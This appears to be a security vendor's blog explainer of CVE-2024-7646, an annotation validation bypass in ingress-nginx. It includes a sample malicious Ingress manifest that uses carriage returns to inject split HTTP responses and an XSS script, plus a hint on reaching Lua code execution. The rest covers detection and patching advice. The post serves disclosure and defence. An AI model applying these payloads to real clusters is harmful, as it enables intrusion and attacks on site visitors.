CVE-2024-7646: Ingress-NGINX Annotation Validation Bypass – A Deep Dive

Introduction

Attention: a new Kubernetes vulnerability was uncovered by André Storfjord Kristiansen (@dev-bio on GitHub) and it demands immediate attention from security professionals and DevOps teams. CVE-2024-7646, affecting the popular ingress-nginx controller, allows malicious actors to bypass annotation validation and potentially gain unauthorized access to sensitive cluster resources. This vulnerability has been assigned a CVSS v3.1 base score of 8.8 (High).

This high score reflects the potential for significant impact, including full compromise of confidentiality, integrity, and availability of affected systems.

Understanding the vulnerability

What is ingress-nginx?

Ingress-nginx is a popular Kubernetes ingress controller that manages external access to services within a cluster. It acts as a reverse proxy and load balancer, routing incoming HTTP and HTTPS traffic to the appropriate services based on defined rules.

How does the annotation validation bypass work?

The vulnerability stems from a flaw in the way ingress-nginx validates annotations on Ingress objects. Annotations in Kubernetes are used to attach arbitrary non-identifying metadata to objects. In the case of ingress-nginx, annotations are used to configure various behaviors of the ingress controller.

The vulnerability allows an attacker to inject malicious content into certain annotations, bypassing the intended validation checks. This can lead to arbitrary command injection and potential access to the ingress-nginx controller’s credentials, which, in default configurations, has access to all secrets in the cluster.

Who is vulnerable?

Affected versions

The vulnerability affects the following versions of ingress-nginx:

– All versions of ingress-nginx controller < v1.11.2

Types of Kubernetes environments at risk

While all users of affected ingress-nginx versions should consider themselves at risk, the vulnerability poses a particularly high threat to:

1. Multi-tenant Kubernetes environments where non-admin users have permissions to create Ingress objects.
2. Clusters where ingress-nginx is deployed with default configurations, granting broad access to cluster secrets.
3. Environments where strict RBAC policies are not in place to limit who can create or modify Ingress objects.

Exploitation example

To demonstrate the severity of this vulnerability, let’s walk through a hypothetical exploitation scenario.

Step 1: identify the target

An attacker with permissions to create Ingress objects first identifies a cluster running a vulnerable version of ingress-nginx.

Step 2: craft a malicious Ingress object

The attacker creates an Ingress object with a specially crafted annotation that includes a carriage returns (\r) character to bypass validation. his allows the injection of unauthorized content and potential XSS attacks. For example:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: demo
  annotations:
    nginx.ingress.kubernetes.io/server-snippet: |
      add_header X-Safe-Header "Safe Content";
      add_header X-Vuln-Header "Benign\r
      HTTP/1.1 200 OK
      Content-Type: text/html

      <script>alert('XSS');</script>
      --------";
      return 200 "Original Content";
spec:
  ingressClassName: nginx
  rules:
  - host: test.example.com
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: test-service
            port:
              number: 80

In this example:

• The server-snippet annotation is used to inject custom Nginx configuration.
• Carriage returns (\r) are used to bypass validation and inject a malicious response.
• A potential XSS payload is included in the injected content.

Step 3: apply the malicious Ingress

The attacker applies this Ingress object to the cluster:

kubectl apply -f malicious-ingress.yaml

Step 4: exploit execution

When ingress-nginx processes this Ingress object, it fails to properly validate the annotation. The carriage returns allow the attacker to inject unauthorized headers and content, potentially leading to:

1. HTTP Response Splitting: The injected HTTP/1.1 200 OK and Content-Type: text/html could lead to response splitting attacks.
2. XSS (Cross-Site Scripting): The injected <script>alert('XSS');</script> could execute in users’ browsers.

Header Manipulation: Additional headers like X-Vuln-Header are injected, potentially bypassing security controls.

Step 5: potential impact

With this level of control over the HTTP response, an attacker could potentially:

• Execute arbitrary JavaScript in users’ browsers
• Manipulate cache behavior leading to cache poisoning attacks
• Bypass security headers or inject malicious headers
• Potentially access or manipulate sensitive information handled by the affected services

This example demonstrates how a seemingly simple annotation can lead to significant security vulnerabilities when input validation is bypassed.

Required privileges for exploitation

To exploit this vulnerability, an attacker needs the following Kubernetes RBAC permissions:

1. Permission to create or update Ingress objects in either the networking.k8s.io or extensions API group.

2. Access to at least one namespace where they can create these Ingress objects.

These permissions are often granted to developers or service accounts responsible for deploying applications, making this vulnerability particularly dangerous in environments where least-privilege principles are not strictly enforced.

Code Execution

After discussion with @dev-bio who found the vulnerability he clarified the following:
Strings such as “content_by_l\rua_block” would be rendered as “content_by_lua_block” in the final configuration, this can lead to code execution.
He added that soon he will be posting his own write-up on the vulnerability so stay tuned for that.
Note – to execute code you need to have snippet annotation enabled in the configuration.

Detection and mitigation

Checking for the vulnerability

To determine if your cluster is vulnerable:

1. Check if ingress-nginx is installed:

kubectl get po -A | grep ingress-nginx-controller

2. If present, check the version:

kubectl exec -it <ingress-nginx-pod> -n <namespace> -- /nginx-ingress-controller --version

Steps to patch and secure

1. Upgrade ingress-nginx: The most crucial step is to upgrade to ingress-nginx controller v1.11.2 or later, which includes the fix for this vulnerability.

2. Review Ingress objects: Audit existing Ingress objects for any suspicious annotations, particularly those containing carriage returns (\r).

3. Implement strict RBAC: Limit who can create and modify Ingress objects to trusted users and service accounts only.

4. Enable Kubernetes audit logging: This will help detect any attempts to exploit this vulnerability.

5. Use admission controllers: Implement ValidatingAdmissionWebhooks to enforce stricter validation on Ingress objects and their annotations.

Conclusion

CVE-2024-7646 serves as a reminder that securing Kubernetes environments is an ongoing, never-ending process. The ability to bypass annotation validation in a critical component like ingress-nginx emphasizes the importance of maintaining up-to-date software, implementing proper access controls, and continuously monitoring for security threats.

As Kubernetes continues to increase its reach in IT infrastructure, it is more important than ever to remain vigilant and proactive about securing it. Regular security audits, prompt patching, and adherence to best practices in role-based access control (RBAC) and network policies are essential strategies for maintaining a robust security posture.

If you suspect that this vulnerability has been exploited in your environment, do not hesitate to reach out to security [at] kubernetes.io for additional guidance and support. 

Remember to stay secure, keep your systems updated, and ensure your Kubernetes clusters remain resilient against emerging threats. You can start by scanning your clusters with ARMO Platform, and getting up to date insights into your security posture.